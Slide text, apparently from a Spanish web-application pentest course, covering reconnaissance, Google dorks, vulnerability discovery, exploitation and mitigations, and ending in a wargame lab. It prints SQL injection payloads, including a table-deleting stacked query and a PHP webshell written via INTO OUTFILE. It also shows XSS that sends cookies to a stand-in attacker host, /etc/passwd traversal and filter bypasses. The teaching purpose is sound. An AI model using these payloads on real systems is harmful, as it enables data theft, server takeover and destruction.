Este documento describe las diferentes fases de un pentest de aplicaciones web, incluyendo footprinting y fingerprinting, búsqueda de vulnerabilidades, y explotación de vulnerabilidades. Explica técnicas como SQL injection, XSS, RFI/LFI y cómo usar herramientas como Nikto para encontrar fallas de seguridad.
2. Yo.
Estudiante de 2º de Ingeniería Inf.
Aficionado a la Seguridad Informática y elAficionado a la Seguridad Informática y el
Hacking.
He trabajado en algunas empresas como auditor
de seguridad.
Titulado como experto en Seguridad Informática
por la Unv. De Salamanca (Certyred)por la Unv. De Salamanca (Certyred)
Twitter: @hackingeticoweb
Youtube: /user/hackingeticoweb
3. Pentest de Aplicaciones Web
Índice:
1. Introducción1. Introducción
2. Footprinting y Fingerprinting
3. Búsqueda de vulnerabilidades
4. Explotación de vulnerabilidades
5. Soluciones
5. Test de Intrusión o Pentest
Método para evaluar la seguridad de un sistema o
red de sistemas de información simulando el ataquered de sistemas de información simulando el ataque
realizado por un intruso.
Fases:
Footprinting y Fingerprinting
Búsqueda de Vulnerabilidades
Explotación de Vulnerabilidades (PoC)
Solución / Informe
7. Test de Intrusión o Pentest
Fases Test de Intrusión para un atacante:
8. Metodologías
Nos sirven como guía, permitiéndonos seguir un
orden en todas las posibles pruebas a realizar.orden en todas las posibles pruebas a realizar.
Entre las mas importantes, sobre todo a nivel web
esta OWASP (Open Web Application Security
Project).
A nivel general OSSTMM también es muy
importante, ya que abarca todos los campos.
10. ¿Qué es?
Primeras fases de un test de intrusión donde se va a
buscar toda la información posible del objetivo.buscar toda la información posible del objetivo.
Footprinting: Obtención de información publica
acerca del objetivo. (Menos útil a nivel web).
Fingerprinting: Obtención de información acerca
del SO, de la versión del servidor… (Menos útil a
nivel web).
11. Footprinting
Esencial para elaborar un ataque sofisticado
posterior.posterior.
No intrusivo, la entidad no debe detectarlo.
Recopilar mayor cantidad de información publica.
Tipos:
Activo: Se realizan pruebas contra los sistemas.Activo: Se realizan pruebas contra los sistemas.
Pasivo: En ningún momento nos conectamos con el
sistema a auditar.
12. Footprinting
Esta fase tiene mas sentido cuando se auditan
sistemas informáticos grandes como el de algunasistemas informáticos grandes como el de alguna
empresa.
Recopilación Pasiva:
Búsqueda con Google (Hacking Google) y otros
buscadores.buscadores.
Obtención de “vecinos web” de la aplicación.
Recopilación Activa (Utilización de Proxys):
Familiarizarse con la aplicación .
13. Footprinting
Google Hacking:
Solo urls de la web auditada:Solo urls de la web auditada:
Site:empresa.com
Tecnología que usa (php,asp,aspx…):
Site:empresa.com inurl:”.php?”
Paginas con links a la web auditada:
Link:empresa.com
Archivos txt:Archivos txt:
Site:empresa.com ext:txt
Busquedas avanzadas:
Buscando SQLi:
Site:empresa.com inurl:”.php?” “Warning mysql_fetch_array()”
14. Footprinting
Obtención de “vecinos web”:
Robtex.com (Nos da + opciones)Robtex.com (Nos da + opciones)
Serversniff.net/content.php?do=hostonip
Myipneighbors
Recopilación activa:
Navegar por la web y familiarizarse con ella.
Comprender la lógica de la aplicación.
15. Fingerprinting
A veces incluido dentro de fase de obtención de
información (activo).información (activo).
Buscamos:
Identificar las versiones y los servicios que ofrece el
sistema a auditar.
Identificación de sistemas operativos, elementos de red,Identificación de sistemas operativos, elementos de red,
etcétera.
Identificación de firewalls (WAF), IDS y CMS
16. Fingerprinting
Identificación las versiones y el SO:
Búsqueda de banners/errores en la aplicación.Búsqueda de banners/errores en la aplicación.
Utilización de herramientas (Identificacion de CMS)
Joomscan y wpscan (Joomla o Wordpress)
Utilización de crawlers para conocer la estructura
de la aplicación (DirBuster).
Comprobar si tiene algún tipo de WAF o IDS.
Herramienta: Waffit
18. Navegación Anónima
Antes de continuar es importante saber como
podemos navegar de forma anónima, algopodemos navegar de forma anónima, algo
necesario incluso cuando estamos realizando un
pentest y la empresa lo sabe.
Opciones:
Utilización de TOR
Utilización de algún proxy intermedioUtilización de algún proxy intermedio
Navegación mediante proxy
19. Navegación Anónima
Utilización de TOR (https://www.torproject.org/):
Comandos para iniciarlo (Ya esta instalado):Comandos para iniciarlo (Ya esta instalado):
cd tor-browser_es-ES/
. /start-tor-browser
Utilizar proxy intermedio (Configurar navegador):
Por ejemplo: http://www.samair.ru/proxy/Por ejemplo: http://www.samair.ru/proxy/
Navegar desde proxy:
Por ejemplo: http://glypeproxy.com/
21. Búsqueda de Vulnerabilidades
Una vez sabemos como funciona la aplicación y
tenemos identificados los posibles puntos detenemos identificados los posibles puntos de
entrada es hora de buscar las diferentes
vulnerabilidades.
Tipos:
SQL Injection
XSSXSS
RFI / LFI (+ Path Transversal)
Por versiones de Software
22. Búsqueda de Vulnerabilidades
SQL Injection:
Técnica que permite la manipulación de las consultasTécnica que permite la manipulación de las consultas
que la aplicación realiza a la Base de Datos.
Identificar los “Input” de la aplicación que se
relacionan con la Base de Datos e intentar modificarla
o hacer que falle (Añadiendo..):
Una ‘Una ‘
Viendo si cambia al introducir:
And 1=1
And 1=0
23. Búsqueda de Vulnerabilidades
XSS:
Vulnerabilidades que permiten la modificación delVulnerabilidades que permiten la modificación del
código fuente de la aplicación.
Pueden ser:
Persistentes: Cuando el código modificado se almacena.
Reflejado: Cuando el código modificado se elimina al
cargar de nuevo la pagina.cargar de nuevo la pagina.
Forma de descubrirlo:
Intentar introducir: “/><script>alert(123)</script>
Viendo el código fuente de la aplicación.
24. Búsqueda de Vulnerabilidades
RFI / LFI (+ Path Transversal)
LFI: Nos permite cargar archivos del sistema como porLFI: Nos permite cargar archivos del sistema como por
ejemplo el archivo de contraseñas de linux
(/etc/passwd).
RFI: Nos permite cargar código de una pagina externa,
lo que hace que se puedan utilizar webshells remotas
que veremos mas adelante.
Identificación (Ejemplo):
Url: “index.php?page=http://google.com”
25. Búsqueda de Vulnerabilidades
Por versiones de Software:
Buscar con la información obtenida de la primera faseBuscar con la información obtenida de la primera fase
posibles exploits y vulnerabilidades para el sistema a
auditar.
Paginas donde buscar:
http://www.exploit-db.comhttp://www.exploit-db.com
http://www.securityfocus.com
26. Búsqueda de Vulnerabilidades
Herramientas:
Nikto: Permite una búsqueda de vulnerabilidades sobreNikto: Permite una búsqueda de vulnerabilidades sobre
todo a nivel web. Nos permite hacernos una idea de
donde puede fallar la aplicación.
root@bt:/pentest/web/nikto# perl nikto.pl –host x.com
Herramientas de pago:Herramientas de pago:
Acunetix
Netsparker
27. Pruebas:
Búsqueda de Vulnerabilidades:
Mediante Google Hacking encontrar web
vulnerables a SQL Injection
Encontrar XSS comprobando código fuente
Leer archivo distinto al predefinido (LFI)
Cargar Google.com (RFI)Cargar Google.com (RFI)
29. Explotación de Vulnerabilidades
En esta fase vamos a ver de que formas podría un
atacante sacar información confidencial o modificaratacante sacar información confidencial o modificar
la aplicación web.
Las técnicas que vamos a ver son:
SQL Injection (Union, Blind, Time-base…)
XSS (Reflejado y persistente)XSS (Reflejado y persistente)
RFI / LFI (+ Path Transversal)
Técnicas de Bypass
Curiosidades
30. SQL Injection
Durante la formación vamos a ver los siguientes
tipos de inyección SQL:tipos de inyección SQL:
Mediante UNION
Boolean-base Blind SQLi (A ciegas)
Time-Base Blind SQLi (Basadas en tiempo)
Heavy Queries SQLi (Consultas pesadas)
Stack Queries SQLi (Consultas apiladas)Stack Queries SQLi (Consultas apiladas)
De SQL Injection a RFI
31. SQL Injection (Mediante UNION)
Sacar información básica (usuario, DB…):
Dejamos la consulta de la aplicación vacíaDejamos la consulta de la aplicación vacía
Buscamos el numero de columnas que tiene la consulta
para poder realizar nuestra propia consulta mediante
“UNION”
Sacamos información mediante:
User(),database(),@@version,@@datadir…User(),database(),@@version,@@datadir…
32. SQL Injection (Mediante UNION)
Sacar tablas de la BD
Utilizamos la tabla: information_schema.tablesUtilizamos la tabla: information_schema.tables
De ahí sacamos que tablas hay en la base de datos
Utilización de “limit N,1” para sacar las distintas
tablas
Sacar columnas de las tablas
Idéntico al anterior pero utilizando
information_schema.columns
33. SQL Injection (Mediante UNION)
Sacar registros de las tablas
Con la información obtenida construimos la consultaCon la información obtenida construimos la consulta
que queremos como:
… UNION SELECT usuario,password FROM usuarios LIMIT
0,1
Pudiendo así ir sacando todos los registros de la tabla,Pudiendo así ir sacando todos los registros de la tabla,
en caso de que no nos dejara todos a la vez.
34. Boolean-base Blind SQLi
En este caso, nos enfrentamos a una situación en la
que el atacante no recibe ningún tipo deque el atacante no recibe ningún tipo de
información por pantalla. Y habrá que ir
realizando consultas y fijándonos si el resultado es
positivo o negativo (Situación Booleana).
Hay que ir extrayendo letra por letra todo la
información. Ejemplo:información. Ejemplo:
Ejemplo:
… UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios
35. Time-Base Blind SQLi
Son situaciones similares a la anterior, donde la
aplicación no muestra ningún tipo de dato por pantalla.aplicación no muestra ningún tipo de dato por pantalla.
Pero además, ahora la aplicación tampoco cambiara
entre dos opciones (la condición cierta y la falsa)…
Aun así no esta todo perdido, es posible realizar otras
consultas donde lo que nos va a indicar si es cierta o no
la consulta será el tiempo de respuesta de la base dela consulta será el tiempo de respuesta de la base de
datos.
Ej:
… UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios and sleep(5)
36. Heavy Queries SQLi
Esta técnica es una variante de la anterior, pero
donde para complicar mas las cosas la opcióndonde para complicar mas las cosas la opción
sleep() esta filtrada…
En este caso deberemos realizar consultas pesadas,
que provoquen que la base de datos tarde mucho
en responder, logrando el mismo efecto que con
sleep() aunque menos preciso.sleep() aunque menos preciso.
Para esta técnica MySQL no tiene tantas opciones
como Postgres o Mssql.
37. Heavy Queries SQLi
Ej:
… UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios… UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios
and 1=(SELECT COUNT(*) FROM
information_schema.columns as a,
information_schema.columns as b,
information_schema.columns as c,
information_schema.columns as d,
information_schema.columns as e)
Esta consulta tarda unos 5 segundos en realizarse.
38. Stack Queries SQLi
Esta ultima técnica que vamos a ver es sin duda la
mas peligrosa.mas peligrosa.
Hasta ahora todas las técnicas que hemos visto nos
permitían obtener información, pero no modificarla.
En cambio ahora si vamos a poder hacerlo
mediante la apilación de consultas. Con ello
podremos en una sola petición realizar varias
consultas (Separadas por ‘;’).consultas (Separadas por ‘;’).
Ej (Borrado completo de la tabla usuarios):
… AND 1=0; DELETE FROM usuarios
39. De SQL Injection a RFI
Con esta ultima técnica vamos a ver una de las
formas de lograr obtener un RFI mediante unaformas de lograr obtener un RFI mediante una
inyección SQL.
En el ejemplo crearemos un archivo php que
podremos llamar desde el navegador introduciendo
en el parámetro ‘cmd’ la url de la WebShell,
obteniendo el control del servidor completo.
Ej:
… UNION SELECT 1,’<?php include($_GET[$cmd]);
?>’ INTO OUTFILE ‘/prueba.php’
40. XSS
Vulnerabilidad que principalmente se utiliza para el
robo de cookies o credenciales, pero también pararobo de cookies o credenciales, pero también para
realizar ‘defaces’ de webs, instalar keyloggers,
troyanización de navegadores…
Tipos:
Reflejado: Permite únicamente el robo de cookies o
credenciales. Se basa en la ejecución de código por parte
del navegador al interpretar la url(Independiente).del navegador al interpretar la url(Independiente).
Persistente: Permite todos los tipos de ataques anteriores, es
menos común de encontrar. Los datos son guardados en el
servidor, y servidos a todos aquellos que visiten la pagina.
41. XSS
Ejemplo de robo de cookies (Reflejado):
<script>document.location="http://atacante.com/robo<script>document.location="http://atacante.com/robo
_cookies.php?cookie=" + document.cookie</script>
Esto permite que el atacante robe los datos y pueda
logearse en la aplicación modificando sus cookies.
Realización de deface (Persistente):Realización de deface (Persistente):
Cargar pagina externa
Modificar la pagina actual con código Javascript
42. RFI / LFI
RFI (Remote File Inclusion): Permite cargar en el
servidor código que se encuentra en otro servidor.servidor código que se encuentra en otro servidor.
Normalmente se utiliza para subir una WebShell y
tomar el control del servidor.
Es complicado encontrar este tipo de vulnerabilidades,
ya que se necesita que se den una serie de
condiciones…condiciones…
Para explotarlo únicamente seria necesario cargar la
url donde se encuentre la WebShell, siempre en txt
debido a que sino se ejecutaría en nuestro servidor.
43. RFI / LFI
LFI: Nos permite acceder a ficheros del servidor de
carácter privado. Para ello normalmente se hace uso
del Path Transversal, que es una técnica para ir
carácter privado. Para ello normalmente se hace uso
del Path Transversal, que es una técnica para ir
saltando de directorio.
Ej:
Aplicación: ?page=index.php
Atacante: ?page=../../../../../../../../../../etc/passwd
Consiguiendo con esto acceso al archivo /etc/passwd del
servidor.
44. Técnicas de Bypass
En algunas aplicaciones que se encuentra ‘seguras’
se filtran una serie de cadenas para evitar que sese filtran una serie de cadenas para evitar que se
lleven acabo ciertas técnicas como SQLi o XSS.
Pero en la inmensa mayoría resulta trivial
saltárselas realizando pequeñas modificaciones.
Bypass de filtros en:
SQL InjectionSQL Injection
XSS
45. Técnicas de Bypass (SQLi)
Con estas técnicas básicas es posible saltarse la gran
mayoría de filtros, debido a que únicamente buscaranmayoría de filtros, debido a que únicamente buscaran
la palabra exacta y no pequeñas variaciones.
Alternar May. Y Min: … uNiOn SelEcT 1,2
AND Filtrado: Sustituir AND por %26%26
OR Filtrado: Sustituir OR por ||OR Filtrado: Sustituir OR por ||
Uso de comentarios:
… uNi/**/On Sel/**/EcT 1,2
46. Tecnicas de Bypass(XSS)
En el caso de XSS es similar…
Caracteres ‘<’ y ‘>’ filtrados: Sustituirlos por %3c y
%3e (Su valor en ascii)
Palabras como script filtradas:
Intercalar May. y Min.Intercalar May. y Min.
Uso de comentarios: <scr<--comentario-->ipt>
Uso de URL Encode, etc…
47. Curiosidades
Buscadores como arma de destrucción masiva:
Indexar una url vulnerable a Stack Queries SQLi enIndexar una url vulnerable a Stack Queries SQLi en
buscadores como Google, Bing… Lo que podría
permitir que cada cierto tiempo a dicha aplicación se
le borrara la DB.
Troyanizacion de navegadores:Troyanizacion de navegadores:
Mediante la herramienta BeEF es posible troyanizar los
navegadores de todas aquellas personas que entren
en una pagina vulnerable a XSS Persistente.
48. Pruebas
Explotación de Vulnerabilidades: SQL Injection
Obtener información privada de la aplicación
Descubrir Boolean-Base Blind SQLi
Descubrir Time-Base Blind SQLi
Bypass de filtro SQL Injection
Lograr RFI desde SQL Injection
49. Pruebas
XSS RFI / LFI
Realizar XSS
Reflejado
Introducir XSS
Persistente con un
comentario
Acceso a archivos
privados del serv.
Utilización de una
WebShell
comentario
Salto de filtro XSS
51. Soluciones
La gran mayoría de fallos vistos se podrían evitar si
desde un principio se hubieran implementado medidasdesde un principio se hubieran implementado medidas
de seguridad, normalmente con un correcto tratamiento
de todos aquellos input es suficiente.
Daremos una solución sencilla pero efectiva a los
ataques vistos (SQLi, XSS, RFI/LFI)
Como por ejemplo, si se espera un numero, utilizar funcionesComo por ejemplo, si se espera un numero, utilizar funciones
como isint en php, evitando que se introduzca otra cosa.
Aunque para asegurar realmente una aplicación a
“prueba de bombas” suele ser muy efectivo un WAF.
52. Soluciones
SQL Injection:
Transformar todo a ascii (evitando caracteres en hex.)Transformar todo a ascii (evitando caracteres en hex.)
Utilización de funciones propias del servidor para securizar
las consultas (php+mysql como mysql_real_query, etc…)
Realizar un filtrado de las palabras:
And, or, union, select, concat, group, from, where, sleep, etc…
XSS:
Utilizar funciones propias del lenguaje como: html_entitiesUtilizar funciones propias del lenguaje como: html_entities
Además realizar un filtrado tanto de comentarios como de
caracteres especiales.
Dejar todo en minúsculas o mayúsculas.
53. Soluciones
RFI / LFI:
Desactivar características del servidor web como:Desactivar características del servidor web como:
allow_url_fopen
allow_url_include
Que eviten que un atacante pueda incluir archivos tanto
remotos como locales.
Evitar el uso de ciertas funciones como:Evitar el uso de ciertas funciones como:
Include
Require
Require_once
…
54. Fin …
Una vez hemos visto como realizar un proceso de
pentest o test de intrusión completo a una
aplicación web, siguiendo todas y cada una de sus
fases desde la obtención de información hasta la
solución de las vulnerabilidades, es hora de…solución de las vulnerabilidades, es hora de…
56. Wargame
Una vez hemos aprendido las técnicas mas
utilizadas tanto por los atacantes como por loutilizadas tanto por los atacantes como por lo
pentesters es hora de demostrar todo lo que sabéis.
Se os pondrán una serie de retos que deberéis
intentar realizar lo antes posible, quien al final
sume mas puntos será el ganador asique…sume mas puntos será el ganador asique…
Suerte!!
57. Wargame
Retos a realizar:
Obtener Usuarios 30 puntosObtener Usuarios 30 puntos
Logearse como usuario 50 puntos
Obtener datos bancarios 30 puntos
Modificar datos bancarios (Ayudar a pette) 150 pts
Deface sencillo de la pag. Principal 100 puntos
Ejecutar comandos en el SO 75 puntosEjecutar comandos en el SO 75 puntos
Lectura del fichero: C:/xampp/premio.php 20
puntos
58. ESPERO QUE LO HAYÁIS DISFRUTADO Y
APRENDIDO MUCHO DE LA FORMACIÓN.
PARA MI HA SIDO UN PLACER Y YA SABÉIS QUE
PARA LO QUE NECESITÉIS NO DUDÉIS EN
PONEROS EN CONTACTO CONMIGO!PONEROS EN CONTACTO CONMIGO!
UN SALUDO A TOD@S!
GRACIAS.
GRACIAS EN ESPECIAL A:
ROBERTO LOPEZROBERTO LOPEZ
ÁLVARO ORTIGOSA
ÁLVARO GOMEZ (J0K3N)
Realizada por: Eduardo Arriols